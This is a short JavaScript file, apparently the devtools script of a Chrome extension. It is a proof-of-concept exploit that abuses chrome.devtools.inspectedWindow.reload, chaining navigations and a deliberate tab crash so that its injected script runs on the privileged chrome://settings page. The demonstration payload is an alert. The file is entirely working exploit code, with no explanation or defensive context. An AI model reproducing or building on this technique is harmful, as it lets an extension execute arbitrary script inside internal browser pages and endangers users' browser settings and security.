let tab_id = chrome.devtools.inspectedWindow.tabId; //function which injects the content script into the inspected page function inject_script() { chrome.devtools.inspectedWindow.reload({"injectedScript": ` //check the origin, so that the debugger is triggered instead if we are not on a chrome page console.log(origin); if (!origin.startsWith("chrome://")) { //[...new Array(2**31)]; debugger; return; } alert("hello from chrome.devtools.inspectedWindow.reload");` }); } function sleep(ms) { return new Promise((resolve) => {setTimeout(resolve, ms)}) } async function main() { //we have to reset the tab's origin here so that we don't crash our own extension process //this navigates to example.org which changes the tab's origin await chrome.tabs.update(tab_id, {url: "https://example.org/"}); await sleep(500); //navigate to about:blank from within the example.org page which keeps the same origin chrome.devtools.inspectedWindow.reload({"injectedScript": ` location.href = "about:blank"; ` }) await sleep(500); inject_script(); //pause the current tab inject_script(); //calling this again crashes the tab and queues up our javascript await sleep(500); chrome.tabs.update(tab_id, {url: "chrome://settings"}); } main();